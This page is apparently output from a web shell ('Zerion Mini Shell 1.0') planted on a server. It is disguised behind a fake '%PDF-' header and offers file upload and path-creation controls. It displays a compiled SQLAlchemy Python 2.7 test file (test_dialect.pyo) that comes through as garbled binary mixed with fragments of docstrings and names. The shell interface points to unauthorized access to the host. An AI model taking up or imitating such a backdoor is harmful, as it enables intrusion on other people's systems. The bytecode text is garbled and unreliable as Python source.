%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/suite/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/suite/test_dialect.pyo

�
��4]c@s/ddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlm	Z	d	d
lm
Z
d	dlmZd	dlmZd	d
lm
Z
d	dlmZd	dlmZdejfd��YZdejfd��YZdejfd��YZdS(i(t
assert_raises(tconfig(teq_(tfixtures(tprovide_metadata(trequirements(tColumn(tTablei(texc(tInteger(tliteral_column(tselect(tString(tcompatt
ExceptionTestcBsDeZdZdZeZed��Zej	d��Z
d�ZRS(s�Test basic exception wrapping.

    DBAPIs vary a lot in exception behavior so to actually anticipate
    specific exceptions from real round trips, we need to be conservative.

    teachc
Cs;td|tdtdtdt�tdtd���dS(Nt	manual_pktidtprimary_keyt
autoincrementtdatai2(RRR	tTruetFalseR(tclstmetadata((sX/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/suite/test_dialect.pyt
define_tabless
cCs�tjj��z}|j�}|j|jjj�idd6dd6�tt	j
|j|jjj�idd6dd6�|j�WdQXdS(NiRtd1R(RtdbtconnecttbegintexecutettablesRtinsertRRtIntegrityErrortrollback(tselftconnttrans((sX/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/suite/test_dialect.pyttest_integrity_error(s$c	Csmtjj��X}y |jttd�g��Wn"tjk
rV}t|�}nXt	j
rcnWdQXdS(Numéil(RRRRRR
Rt
DBAPIErrortstrR
tpy2k(R#R$terrterr_str((sX/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/suite/test_dialect.pyttest_exception_with_non_ascii;s	(t__name__t
__module__t__doc__trun_deletesRt__backend__tclassmethodRRt$duplicate_key_raises_integrity_errorR&R,(((sX/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/suite/test_dialect.pyRs	tAutocommitTestcBsDeZdZdZeZed��Zd�Zd�Z	d�Z
RS(Rt
autocommitc
CsAtd|tdtdtdt�tdtd��dt�dS(Nt
some_tableRRRRi2ttest_needs_acid(RRR	RRR(RR((sX/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/suite/test_dialect.pyRZscCs�|j�}|j|jjj�idd6dd6�|j�t|jt|jjj	j
g��|rpdnd�|j|jjj��dS(NiRs	some dataR(
RRRR6R R"RtscalarRtcRtNonetdelete(R#R$R5R%((sX/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/suite/test_dialect.pyt_test_conn_autocommitsds$
!cCsOtjj�}|jdd�}|j|t�|j�|j|t�dS(Ntisolation_levelt
AUTOCOMMIT(RRRtexecution_optionsR<Rt
invalidateR(R#R$tc2((sX/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/suite/test_dialect.pyttest_autocommit_onrs

cCs#tjj�}|j|t�dS(N(RRRR<R(R#R$((sX/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/suite/test_dialect.pyttest_autocommit_offys(R5(R-R.R0t__requires__RR1R2RR<RBRC(((sX/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/suite/test_dialect.pyR4Rs
		tEscapingTestcBseZed��ZRS(c
Cs|j}td|tdtd���}|jtj�tjj���}|j|j	�t
dd��|j|j	�t
dd��t|jt
|jjg�j|jjtd�k��d�t|jt
|jjg�j|jjtd�k��d�WdQXdS(	s|test that the DBAPI accommodates for escaped / nonescaped
        percent signs in a way that matches the compiler

        ttRi2ssome % valuessome %% other values'some % value's'some %% other value'N(RRRRtcreateRRRRR tdictRR8RR9RtwhereR
(R#tmRFR$((sX/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/suite/test_dialect.pyttest_percent_sign_round_trips 	!(R-R.RRK(((sX/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/suite/test_dialect.pyRE~sN(tRRRRRRtschemaRRRR	R
RRtutilR
t
TablesTestRR4tTestBaseRE(((sX/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/testing/suite/test_dialect.pyt<module>s ?,

Zerion Mini Shell 1.0